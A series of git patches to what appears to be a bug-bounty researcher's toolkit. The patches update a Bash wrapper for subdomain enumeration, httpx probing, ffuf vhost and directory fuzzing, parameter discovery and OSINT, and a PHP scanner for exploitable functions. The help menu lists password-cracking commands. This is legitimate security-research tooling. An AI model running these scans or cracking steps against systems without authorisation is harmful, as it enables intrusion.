deletions(-) diff --git a/pef/pef.py b/pef/pef.py index c8a2b7d..5692b8f 100755 --- a/pef/pef.py +++ b/pef/pef.py @@ -6,12 +6,11 @@ # pylint: disable=invalid-name, missing-class-docstring, import-error, too-few-public-methods, unused-import, no-self-use,missing-function-docstring,consider-using-enumerate,consider-iterating-dictionary -# //TODO: +# @TODO: # - allow to scan folder without subdirs # - allow to scan files by pattern, eg. *.php # - exclude 'echo' lines without HTML tags - ## Sinks and Sources # # for an SQLi, you need a code that makes a raw query to the database @@ -20,6 +19,19 @@ # for an XXE, you need a code that parses an XML with a concrete configuration # for a DOM-XSS, you need a code that executes HTML or JavaScript # +# When you are going sources to sinks, the process is: +# +# - you encounter a function call +# - you find the definition +# - repeat until the sink +# +# For sinks to sources, the process is: +# +# - you are in the function definition +# - you find a call of this function. +# - repeat until the source +# + import sys import os import re From 8584f3b142db984ada62c23a7cc92379e56b8471 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Tue, 3 Oct 2023 08:46:34 +0100 Subject: [PATCH 223/289] [s0mbra] Restore HTTP 200 OK discovery in peek() --- s0mbra.sh | 2 ++ 1 file changed, 2 insertions(+) diff --git a/s0mbra.sh b/s0mbra.sh index 5936796..4e2d370 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -281,6 +281,8 @@ peek() { echo -e "finished at: $RED $END_TIME $GREEN\n" echo -e "$GRAY sublister+subfinder found \t $YELLOW $(echo `wc -l $TMPDIR/s0mbra_recon_subdomains_final.log` | cut -d" " -f 1) $GRAY subdomains" echo -e "$GRAY httpx found \t\t\t $YELLOW $(echo `wc -l $TMPDIR/s0mbra_recon_httpx.log` | cut -d" " -f 1) $GRAY active web servers $GREEN" + echo -e "$GREEN\nHTTP servers responding 200 OK: $CLR\n" + grep 200 $TMPDIR/s0mbra_recon_httpx.log echo -e "\n$BLUE[s0mbra] Done.$CLR" } From 999c94a10d5491e90a8af3522099a29a03e0a457 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Tue, 17 Oct 2023 15:28:46 +0100 Subject: [PATCH 224/289] [s0mbra] Reomove 200 OK listing, does not make any sense anyway --- s0mbra.sh | 2 -- 1 file changed, 2 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 4e2d370..5936796 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -281,8 +281,6 @@ peek() { echo -e "finished at: $RED $END_TIME $GREEN\n" echo -e "$GRAY sublister+subfinder found \t $YELLOW $(echo `wc -l $TMPDIR/s0mbra_recon_subdomains_final.log` | cut -d" " -f 1) $GRAY subdomains" echo -e "$GRAY httpx found \t\t\t $YELLOW $(echo `wc -l $TMPDIR/s0mbra_recon_httpx.log` | cut -d" " -f 1) $GRAY active web servers $GREEN" - echo -e "$GREEN\nHTTP servers responding 200 OK: $CLR\n" - grep 200 $TMPDIR/s0mbra_recon_httpx.log echo -e "\n$BLUE[s0mbra] Done.$CLR" } From 653c58a8970a18754902ada56b8f86b95d920c8d Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Tue, 24 Oct 2023 09:13:41 +0100 Subject: [PATCH 225/289] [s0mbra] Simplify output filenames in peek() and recon() --- s0mbra.sh | 42 +++++++++++++++++++++--------------------- 1 file changed, 21 insertions(+), 21 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 5936796..cfb76a9 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -215,30 +215,30 @@ scope() { # sublister echo -e "\n$GREEN--> sublister$CLR\n" for domain in $(cat scope); do - sublister -v -d $domain -o "$TMPDIR/s0mbra_recon_sublister_$domain.log" + sublister -v -d $domain -o "$TMPDIR/sublister_$domain.log" done # subfinder echo -e "\n$GREEN--> subfinder$CLR\n" - subfinder -nW -all -v -dL $1 -o $TMPDIR/s0mbra_recon_subfinder.log + subfinder -nW -all -v -dL $1 -o $TMPDIR/subfinder.log # prepare list of uniqe subdomains - cat s0mbra_recon_sub* > step1 + cat sub* > step1 sed 's/
/#/g' step1 | tr '#' '\n' > step2 - sort -u -k 1 step2 > s0mbra_recon_subdomains_final.log + sort -u -k 1 step2 > subdomains_final.log rm -f step* # httpx echo -e "\n$GREEN--> httpx$CLR\n" - httpx -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -silent -status-code -web-server -tech-detect -ip -cname -cdn -l $TMPDIR/s0mbra_recon_subdomains_final.log -o $TMPDIR/s0mbra_recon_httpx.log + httpx -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -silent -status-code -web-server -tech-detect -ip -cname -cdn -l $TMPDIR/subdomains_final.log -o $TMPDIR/httpx.log END_TIME=$(date) echo -e "$GREEN\nstarted at: $RED $START_TIME $GREEN" echo -e "finished at: $RED $END_TIME $GREEN\n" - echo -e " $GRAY sublister+subfinder found \t $YELLOW $(echo `wc -l $TMPDIR/s0mbra_recon_subdomains_final.log` | cut -d" " -f 1) $GRAY subdomains" - echo -e " $GRAY httpx found \t\t $YELLOW $(echo `wc -l $TMPDIR/s0mbra_recon_httpx.log` | cut -d" " -f 1) $GRAY active web servers $GREEN" + echo -e " $GRAY sublister+subfinder found \t $YELLOW $(echo `wc -l $TMPDIR/subdomains_final.log` | cut -d" " -f 1) $GRAY subdomains" + echo -e " $GRAY httpx found \t\t $YELLOW $(echo `wc -l $TMPDIR/httpx.log` | cut -d" " -f 1) $GRAY active web servers $GREEN" echo -e " $GRAY HTTP servers responding 200 OK: $CLR\n" - grep 200 $TMPDIR/s0mbra_recon_httpx.log + grep 200 $TMPDIR/httpx.log echo -e "\n$BLUE[s0mbra] Done.$CLR" } @@ -254,33 +254,33 @@ peek() { # sublister echo -e "\n$GREEN--> sublister$CLR\n" - sublister -v -d $DOMAIN -o "$TMPDIR/s0mbra_recon_sublister_$DOMAIN.log" + sublister -v -d $DOMAIN -o "$TMPDIR/sublister_$DOMAIN.log" # subfinder echo -e "\n$GREEN--> subfinder$CLR\n" - subfinder -nW -all -v -d $DOMAIN -o $TMPDIR/s0mbra_recon_subfinder.log + subfinder -nW -all -v -d $DOMAIN -o $TMPDIR/subfinder.log # prepare list of uniqe subdomains - cat $TMPDIR/s0mbra_recon_sub* > $TMPDIR/step1 + cat $TMPDIR/sub* > $TMPDIR/step1 sed 's/
/#/g' $TMPDIR/step1 | tr '#' '\n' > $TMPDIR/step2 - sort -u -k 1 $TMPDIR/step2 > $TMPDIR/s0mbra_recon_subdomains_final.log + sort -u -k 1 $TMPDIR/step2 > $TMPDIR/subdomains_final.log rm -f $TMPDIR/step* # httpx echo -e "\n$GREEN--> httpx$CLR\n" - httpx -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -silent -status-code -web-server -tech-detect -ip -cname -cdn -l $TMPDIR/s0mbra_recon_subdomains_final.log -o $TMPDIR/s0mbra_recon_httpx.log + httpx -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -silent -status-code -web-server -tech-detect -ip -cname -cdn -l $TMPDIR/subdomains_final.log -o $TMPDIR/httpx.log # cleanup echo -e "\n$BLUE[s0mbra] Remove temporary files...\n" - rm -f $TMPDIR/s0mbra_recon_sublister_$DOMAIN.log - rm -f $TMPDIR/s0mbra_recon_subfinder.log + rm -f $TMPDIR/sublister_$DOMAIN.log + rm -f $TMPDIR/subfinder.log rm -rf $TMPDIR/h* END_TIME=$(date) echo -e "$GREEN\nstarted at: $RED $START_TIME $GREEN" echo -e "finished at: $RED $END_TIME $GREEN\n" - echo -e "$GRAY sublister+subfinder found \t $YELLOW $(echo `wc -l $TMPDIR/s0mbra_recon_subdomains_final.log` | cut -d" " -f 1) $GRAY subdomains" - echo -e "$GRAY httpx found \t\t\t $YELLOW $(echo `wc -l $TMPDIR/s0mbra_recon_httpx.log` | cut -d" " -f 1) $GRAY active web servers $GREEN" + echo -e "$GRAY sublister+subfinder found \t $YELLOW $(echo `wc -l $TMPDIR/subdomains_final.log` | cut -d" " -f 1) $GRAY subdomains" + echo -e "$GRAY httpx found \t\t\t $YELLOW $(echo `wc -l $TMPDIR/httpx.log` | cut -d" " -f 1) $GRAY active web servers $GREEN" echo -e "\n$BLUE[s0mbra] Done.$CLR" } @@ -341,15 +341,15 @@ recon() { if [[ $VHOSTS -eq "1" ]]; then # vhosts enumeration - ffuf -ac -c -w $DICT_HOME/vhosts -u $PROTO://$HOSTNAME/FUZZ -mc=200,206,301,302,422,429 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -H "Host: FUZZ.$HOSTNAME" -o $TMPDIR/s0mbra_recon_ffuf_vhosts_fullnames_$HOSTNAME.log + ffuf -ac -c -w $DICT_HOME/vhosts -u $PROTO://$HOSTNAME/FUZZ -mc=200,206,301,302,422,429 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -H "Host: FUZZ.$HOSTNAME" -o $TMPDIR/ffuf_vhosts_fullnames_$HOSTNAME.log - ffuf -ac -c -w $DICT_HOME/vhosts -u $PROTO://$HOSTNAME/FUZZ -mc=200,206,301,302,422,429 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -H "Host: FUZZ" -o $TMPDIR/s0mbra_recon_ffuf_vhosts_$HOSTNAME.log + ffuf -ac -c -w $DICT_HOME/vhosts -u $PROTO://$HOSTNAME/FUZZ -mc=200,206,301,302,422,429 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -H "Host: FUZZ" -o $TMPDIR/ffuf_vhosts_$HOSTNAME.log fi # ffuf if [[ $FFUF -eq "1" ]]; then - ffuf -ac -c -w $DICT_HOME/starter.txt -u $PROTO://$HOSTNAME/FUZZ -mc=200,206,301,302,422,429 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -o $TMPDIR/s0mbra_recon_ffuf_starter_$HOSTNAME.log - ffuf -ac -c -w $DICT_HOME/lowercase.txt -u $PROTO://$HOSTNAME/FUZZ/ -mc=200,206,301,302,422,429 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -o $TMPDIR/s0mbra_recon_ffuf_lowercase_$HOSTNAME.log + ffuf -ac -c -w $DICT_HOME/starter.txt -u $PROTO://$HOSTNAME/FUZZ -mc=200,206,301,302,422,429 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -o $TMPDIR/ffuf_starter_$HOSTNAME.log + ffuf -ac -c -w $DICT_HOME/lowercase.txt -u $PROTO://$HOSTNAME/FUZZ/ -mc=200,206,301,302,422,429 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -o $TMPDIR/ffuf_lowercase_$HOSTNAME.log fi # subdomanizer From 30588de41cc83e9bb3bc589f114e2f165a28a62f Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Wed, 1 Nov 2023 19:17:39 +0000 Subject: [PATCH 226/289] [pef] Fix str() error --- pef/pef.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/pef/pef.py b/pef/pef.py index 5692b8f..6860357 100755 --- a/pef/pef.py +++ b/pef/pef.py @@ -249,7 +249,7 @@ def main(self, src): """ main engine loop """ - f = open(src, "r", encoding="ISO-8859-1") + f = open(str(src), "r", encoding="ISO-8859-1") i = 0 res = None file_found = 0 @@ -274,7 +274,7 @@ def run(self): print( f"{beautyConsole.getColor('green')}>>> RESULTS <<<{beautyConsole.getColor('gray')}\n") - if os.path.isdir(self.filename): + if os.path.isdir(str(self.filename)): for root, _, files in os.walk(self.filename): if self.skip_vendor is True and "vendor" in root: continue From a4fc6460c97ab7d99982c5309887bd6842b8ddb2 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sat, 4 Nov 2023 18:41:45 +0000 Subject: [PATCH 227/289] [s0mbra] Delete httpx temporary dirs --- s0mbra.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/s0mbra.sh b/s0mbra.sh index cfb76a9..9b5baaa 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -274,7 +274,7 @@ peek() { echo -e "\n$BLUE[s0mbra] Remove temporary files...\n" rm -f $TMPDIR/sublister_$DOMAIN.log rm -f $TMPDIR/subfinder.log - rm -rf $TMPDIR/h* + rm -rf httpx* END_TIME=$(date) echo -e "$GREEN\nstarted at: $RED $START_TIME $GREEN" From 37614c04562015839f9620a1aed1e9cb4b87a36f Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Fri, 12 Jan 2024 23:58:26 +0000 Subject: [PATCH 228/289] [s0mbra] Fix vhosts enumeration --- s0mbra.sh | 7 +------ 1 file changed, 1 insertion(+), 6 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 9b5baaa..569c8f4 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -295,7 +295,6 @@ recon() { NMAP="1" NIKTO="1" FFUF="1" - FEROXBUSTER="1" SUBDOMANIZER="1" SELECTED_OPTIONS="nmap, nikto, ffuf, subdomanizer" else @@ -341,9 +340,7 @@ recon() { if [[ $VHOSTS -eq "1" ]]; then # vhosts enumeration - ffuf -ac -c -w $DICT_HOME/vhosts -u $PROTO://$HOSTNAME/FUZZ -mc=200,206,301,302,422,429 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -H "Host: FUZZ.$HOSTNAME" -o $TMPDIR/ffuf_vhosts_fullnames_$HOSTNAME.log - - ffuf -ac -c -w $DICT_HOME/vhosts -u $PROTO://$HOSTNAME/FUZZ -mc=200,206,301,302,422,429 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -H "Host: FUZZ" -o $TMPDIR/ffuf_vhosts_$HOSTNAME.log + ffuf -ac -c -w $DICT_HOME/vhosts -u $PROTO://FUZZ.$HOSTNAME -mc=200,206,301,302,422,429 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -H "Host: FUZZ.$HOSTNAME" -o $TMPDIR/ffuf_vhosts_fullnames_$HOSTNAME.log fi # ffuf @@ -390,8 +387,6 @@ fu() { # if $3 arg passed to fu equals / - add at the end of the path (for dir enumerations where sometimes # dir path has to end with / to be identified ffuf -ac -c -w /Users/bl4de/hacking/dictionaries/$SELECTED_DICT.txt -u $1/FUZZ/ -mc $HTTP_RESP_CODES -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" - elif [[ $3 == "-" ]]; then - ffuf -ac -c -w /Users/bl4de/hacking/dictionaries/$SELECTED_DICT.txt -u $1/FUZZ -mc $HTTP_RESP_CODES -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" else if [[ $3 == "-" ]]; then # if $3 equals - (dash) that means we should ignore it at all From 573bb80efb06fbe46c6a615162370700d3fb24be Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Fri, 9 Feb 2024 11:53:02 +0000 Subject: [PATCH 229/289] [s0mbra] Added photon to recon --- s0mbra.sh | 19 ++++++++++++++++++- 1 file changed, 18 insertions(+), 1 deletion(-) diff --git a/s0mbra.sh b/s0mbra.sh index 569c8f4..aecac6c 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -242,6 +242,20 @@ scope() { echo -e "\n$BLUE[s0mbra] Done.$CLR" } +# OSINT +photon() { + URL=$1 + OUTPUT_DIR=$2 + TMPDIR=$(pwd)/photon/$OUTPUT_DIR + if [[ ! -d $TMPDIR ]]; then + mkdir -p $TMPDIR + fi + echo -e "$BLUE[s0mbra] Let's do some OSINT stuff around $URL...$CLR\n" + /usr/local/homebrew/bin/python3 /Users/bl4de/hacking/tools/Photon/photon.py -u "$URL" -l 5 -t 10 -o "$TMPDIR" + ls -lRA "$TMPDIR" + echo -e "\n$BLUE[s0mbra] Done.$CLR" +} + # quick scope, but for single domain - no need to create scope file peek() { TMPDIR=$(pwd)/$1 @@ -736,6 +750,9 @@ case "$cmd" in peek) peek "$2" ;; + photon) + photon "$2" "$3" + ;; recon) recon "$2" "$3" "$4" ;; @@ -854,7 +871,7 @@ case "$cmd" in clear echo -e "$BLUE_BG:: RECON ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" echo -e "$CYAN scope $GRAY[SCOPE_FILE]$CLR\t\t\t\t$CYAN recon $GRAY[HOST] [OPTIONS:nmap,nikto,vhosts,ffuf,subdomanizer] [PROTO http/https]$CLR" - echo -e "$CYAN peek $GRAY[DOMAIN]$CLR" + echo -e "$CYAN peek $GRAY[DOMAIN]$CLR\t\t\t\t\t$CYAN photon $GRAY[HOST] [OUTPUT_DIR]$CLR" echo -e "$BLUE_BG:: WEB ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" echo -e "$CYAN fu $GRAY[URL] [DICT] [*EXT,/ or -] [HTTP RESP.]$CLR\t$CYAN apifuzz $GRAY[BASE_URL] [ENDPOINTS]$CLR\t$YELLOW(REST)$CLR" From 1b0d1c8d29263d79eee25f8ca0a3bec7c300fce1 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Fri, 16 Feb 2024 22:06:58 +0000 Subject: [PATCH 230/289] [s0mbra] arjun for url parameters discovery --- s0mbra.sh | 20 ++++++++++++++++++-- 1 file changed, 18 insertions(+), 2 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index aecac6c..cd7f01f 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -377,6 +377,20 @@ recon() { echo -e "\n$BLUE[s0mbra] Done.$CLR" } +# runs GET parameter(s) discovery +_arjun() { + clear + DICT_PATH="/Users/bl4de/hacking/dictionaries" + if [[ -z $2 ]]; then + SELECTED_DICT=urlparams_medium.txt + else + SELECTED_DICT=$2 + fi + echo -e "$BLUE[s0mbra] Trying to discover GET params on $1 using $SELECTED_DICT...$GRAY" + arjun -u "$1" -w "$DICT_PATH/$SELECTED_DICT" + echo -e "$BLUE\n[s0mbra] Done! $CLR" +} + fu() { clear @@ -753,6 +767,9 @@ case "$cmd" in photon) photon "$2" "$3" ;; + arjun) + _arjun "$2" "$3" + ;; recon) recon "$2" "$3" "$4" ;; @@ -876,8 +893,7 @@ case "$cmd" in echo -e "$BLUE_BG:: WEB ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" echo -e "$CYAN fu $GRAY[URL] [DICT] [*EXT,/ or -] [HTTP RESP.]$CLR\t$CYAN apifuzz $GRAY[BASE_URL] [ENDPOINTS]$CLR\t$YELLOW(REST)$CLR" echo -e "$CYAN graphw00f $GRAY[HOST]$CLR\t\t$YELLOW(GraphQl)$CLR\t$CYAN gql $GRAY[TARGET_URL]$CLR\t\t$YELLOW(GraphQL)$CLR" - echo -e "$CYAN kiterunner $GRAY[HOST] (*apis)$CLR\t$YELLOW(REST)$CLR" - + echo -e "$CYAN kiterunner $GRAY[HOST] (*apis)$CLR\t$YELLOW(REST)$CRL\t\t$CYAN arjun $GRAY[HOST] [DICT]$CLR" echo -e "$BLUE_BG:: CLOUD ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" echo -e "$CYAN discloS3 $GRAY[URL]$CLR\t\t\t$YELLOW(AWS)$CLR\t\t$CYAN s3 $GRAY[BUCKET]$CLR\t\t\t$YELLOW(AWS)$CLR" echo -e "$CYAN s3get $GRAY[BUCKET] [key]$CLR\t\t$YELLOW(AWS)$CLR\t\t$CYAN s3ls $GRAY[BUCKET] [folder]$CLR\t\t$YELLOW(AWS)$CLR" From d5a985269e254a32d0200d1129b690ed9129c6ba Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sun, 25 Feb 2024 11:02:37 +0000 Subject: [PATCH 231/289] [s0mbra] arjun fix --- s0mbra.sh | 7 +++---- 1 file changed, 3 insertions(+), 4 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index cd7f01f..59e9768 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -380,14 +380,13 @@ recon() { # runs GET parameter(s) discovery _arjun() { clear - DICT_PATH="/Users/bl4de/hacking/dictionaries" if [[ -z $2 ]]; then - SELECTED_DICT=urlparams_medium.txt + SELECTED_DICT=/Users/bl4de/hacking/dictionaries/urlparams_medium.txt else - SELECTED_DICT=$2 + SELECTED_DICT="$2" fi echo -e "$BLUE[s0mbra] Trying to discover GET params on $1 using $SELECTED_DICT...$GRAY" - arjun -u "$1" -w "$DICT_PATH/$SELECTED_DICT" + arjun -u "$1" -w $SELECTED_DICT echo -e "$BLUE\n[s0mbra] Done! $CLR" } From 59115096ab5a02d1fca7978d11b3165f9d450610 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Mon, 26 Feb 2024 07:55:02 +0000 Subject: [PATCH 232/289] [s0mbra] missing space --- s0mbra.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/s0mbra.sh b/s0mbra.sh index 59e9768..31933ca 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -905,7 +905,7 @@ case "$cmd" in echo -e "$CYAN smb_umount $CLR" echo -e "$BLUE_BG:: PASSWORDS CRACKIN' ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" - echo -e "$CYAN rockyou_john $GRAY[HASHES][FORMAT]$CLR\t\t\t$CYAN ssh_to_john $GRAY[ID_RSA]$CLR" + echo -e "$CYAN rockyou_john $GRAY[HASHES] [FORMAT]$CLR\t\t\t$CYAN ssh_to_john $GRAY[ID_RSA]$CLR" echo -e "$CYAN rockyou_zip $GRAY[ZIP file]$CLR\t\t\t\t$CYAN defcreds $GRAY[DEVICE/SYSTEM]$CLR" echo -e "$CYAN john_pot$CLR" From 01e7be5db84a131591d6d4488ed7a2d95aaadf1f Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Mon, 26 Feb 2024 15:52:42 +0000 Subject: [PATCH 233/289] [s0mbra] Update peek() --- s0mbra.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/s0mbra.sh b/s0mbra.sh index 31933ca..6a68539 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -230,7 +230,7 @@ scope() { # httpx echo -e "\n$GREEN--> httpx$CLR\n" - httpx -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -silent -status-code -web-server -tech-detect -ip -cname -cdn -l $TMPDIR/subdomains_final.log -o $TMPDIR/httpx.log + httpx -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -silent -status-code -web-server -tech-detect -ip -cname -cdn -rl 20 -exclude-cdn -l $TMPDIR/subdomains_final.log -o $TMPDIR/httpx.log END_TIME=$(date) echo -e "$GREEN\nstarted at: $RED $START_TIME $GREEN" From b5fd2150dd3ffa10103b3230fa5c5272457ac0f6 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sun, 31 Mar 2024 20:55:42 +0100 Subject: [PATCH 234/289] [s0mbra] Added 401 to default HTTP response codes in fu() --- s0mbra.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/s0mbra.sh b/s0mbra.sh index 6a68539..2e357df 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -402,7 +402,7 @@ fu() { # set response status code(s) to match on: if [[ -z $4 ]]; then - HTTP_RESP_CODES=200,206,301,302,500 + HTTP_RESP_CODES=200,206,301,302,401,500 else HTTP_RESP_CODES=$4 fi From b729f576c6b914d218b1f8f7a965786f51320ab5 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sun, 14 Apr 2024 21:31:35 +0100 Subject: [PATCH 235/289] [s0mbra] do not clear the screen when fu() is called --- s0mbra.sh | 2 -- 1 file changed, 2 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 2e357df..73d42db 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -391,8 +391,6 @@ _arjun() { } fu() { - clear - # use starter.txt as default dictionary if [[ -z $2 ]]; then SELECTED_DICT=starter From d7567d8b19604a1a44571c3eee7886f8ba34ccee Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sun, 12 May 2024 19:37:59 +0100 Subject: [PATCH 236/289] [s0mbra] remove unused tool --- s0mbra.sh | 13 +------------ 1 file changed, 1 insertion(+), 12 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 73d42db..4dc2304 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -727,13 +727,6 @@ shells() { echo -e "$BLUE\n[s0mbra] Done! $CLR" } -# looks for default credentials in service/software/hardware -defcreds() { - echo -e "$BLUE[s0mbra] Looking for default credentials for $1...$CLR" - creds search $1 - echo -e "$BLUE\n[s0mbra] Done! $CLR" -} - # decodes Base64 string b64() { echo -e "$BLUE[s0mbra] Decoding Base64 string...$CLR" @@ -797,9 +790,6 @@ case "$cmd" in ssh_to_john) ssh_to_john "$2" ;; - defcreds) - defcreds "$2" - ;; unmin) unmin "$2" ;; @@ -904,8 +894,7 @@ case "$cmd" in echo -e "$BLUE_BG:: PASSWORDS CRACKIN' ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" echo -e "$CYAN rockyou_john $GRAY[HASHES] [FORMAT]$CLR\t\t\t$CYAN ssh_to_john $GRAY[ID_RSA]$CLR" - echo -e "$CYAN rockyou_zip $GRAY[ZIP file]$CLR\t\t\t\t$CYAN defcreds $GRAY[DEVICE/SYSTEM]$CLR" - echo -e "$CYAN john_pot$CLR" + echo -e "$CYAN rockyou_zip $GRAY[ZIP file]$CLR\t\t\t\t$CYAN john_pot$CLR" echo -e "$BLUE_BG:: STATIC CODE ANALYSIS ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" echo -e "$CYAN unmin $GRAY[FILE]\t\t\t$YELLOW(JavaScript)$CLR\t$CYAN snyktest $GRAY[DIR]\t\t\t$YELLOW(JavaScript)$CLR" From 299771d09d71b3e2b37a8552a243bd41bbff7632 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sat, 15 Jun 2024 16:54:55 +0100 Subject: [PATCH 237/289] [pef] Refactoring; bugfixing; added -f/--function to search for sinlge function only --- pef/pef.py | 54 ++++++++++++++++++++++++++++++------------------------ 1 file changed, 30 insertions(+), 24 deletions(-) diff --git a/pef/pef.py b/pef/pef.py index 6860357..136ae84 100755 --- a/pef/pef.py +++ b/pef/pef.py @@ -171,20 +171,20 @@ class PefEngine: implements pef engine """ - def __init__(self, level, source_or_sink, filename, dirs_to_scan, skip_vendor=False): + def __init__(self, level, source_or_sink, filename, skip_vendor, phpfunction): """ constructor """ - self.level = level # scan only for level set of functions + self.level = level # scan only for level set of functions self.source_or_sink = source_or_sink # show only sinks or sources - self.filename = filename # name of file/folder to scan - self.dirs_to_scan = dirs_to_scan # name(s) of dirs to scan + self.filename = filename # name of file/folder to scan self.skip_vendor = skip_vendor + self.phpfunction = '' if phpfunction is None else phpfunction - self.scanned_files = 0 # number of scanned files in total - self.found_entries = 0 # total number of findings + self.scanned_files = 0 # number of scanned files in total + self.found_entries = 0 # total number of findings - self.severity = { # severity scale + self.severity = { # severity scale "high": 0, "medium": 0, "low": 0 @@ -227,18 +227,24 @@ def print_code_line(self, file_name, _line, i, fn, severity="", level='ALL', sou found = 0 # print legend only if there i sentry in pefdocs.py + if fn and fn.strip() in pefdocs.exploitableFunctionsDesc.keys(): doc = pefdocs.exploitableFunctionsDesc.get(fn.strip()) impact = doc[3] if (impact.upper() in level.upper()) or level == 'ALL': - if (len(doc) == 5 and source_or_sink == doc[4]) or source_or_sink == 'ALL': - if len(_line) > 255: - _line = _line[:120] + \ - f" (...truncated -> line is {len(_line)} characters long)" - print("{}{}:{}\t{}{}{}{}".format(beautyConsole.getColor("white"), file_name, i, beautyConsole.getColor( - impact_color[impact]), beautyConsole.getColor(impact_color[impact]), _line.strip()[:255], beautyConsole.getColor("grey"))) - found += 1 + if self.phpfunction == '' or self.phpfunction in fn: + if (len(doc) == 5 and source_or_sink == doc[4]) or source_or_sink == 'ALL': + if len(_line) > 255: + _line = _line[:120] + \ + f" (...truncated -> line is {len(_line)} characters long)" + print("{}{}:{}\t{}{}{}{}".format(beautyConsole.getColor("white"), file_name, i, + beautyConsole.getColor( + impact_color[impact]), + beautyConsole.getColor(impact_color[impact]), + _line.strip()[:255], + beautyConsole.getColor("grey"))) + found += 1 if impact not in severity.keys(): severity[impact] = 1 else: @@ -271,6 +277,7 @@ def run(self): """ total_found = 0 os.system('clear') + print( f"{beautyConsole.getColor('green')}>>> RESULTS <<<{beautyConsole.getColor('gray')}\n") @@ -278,15 +285,13 @@ def run(self): for root, _, files in os.walk(self.filename): if self.skip_vendor is True and "vendor" in root: continue - # if self.dirs_to_scan and self.not_in_dirs_to_scan(root): - # continue prev_filename = "" for f in files: extension = f.split('.')[-1:][0] if extension in ['php', 'inc', 'php3', 'php4', 'php5', 'phtml']: self.scanned_files = self.scanned_files + 1 (res, file_found) = self.main(os.path.join(root, f)) - if res is not None and f != prev_filename: + if self.phpfunction == '' and res is not None and f != prev_filename: print(f">>> {f} <<<\t{'-' * (115 - len(f))}\n\n") prev_filename = f total_found += file_found @@ -309,7 +314,7 @@ def print_summary(self, total_found: int) -> None: """ print(f"{beautyConsole.getColor('white')}Total issues found: {total_found}") print( - f"{beautyConsole.getColor('white')}Cmd arguments: {' '.join(sys.argv[1:])}\n") + f"\n{beautyConsole.getColor('grey')}Cmd arguments: {' '.join(sys.argv[1:])}\n") # main program @@ -320,6 +325,7 @@ def print_summary(self, total_found: int) -> None: add_help=True ) filename = '.' # initial value for file/dir to scan is current directory + phpfunction = '' parser.add_argument( "-s", "--skip-vendor", help="exclude ./vendor folder", action="store_true") @@ -331,14 +337,15 @@ def print_summary(self, total_found: int) -> None: "-K", "--sink", help="show only sinks", action="store_true") parser.add_argument( "-f", - "--file", - help="File or directory name to scan", + "--function", + help="Search for particular PHP function (eg. unserialize)", ) parser.add_argument( "-d", "--dir", - help="List of directories to scan (mutually exclusive with -f flag)", + help="Directory to scan (or sinlge file, optionally)", ) + args = parser.parse_args() level = args.level.upper() if args.level else 'ALL' @@ 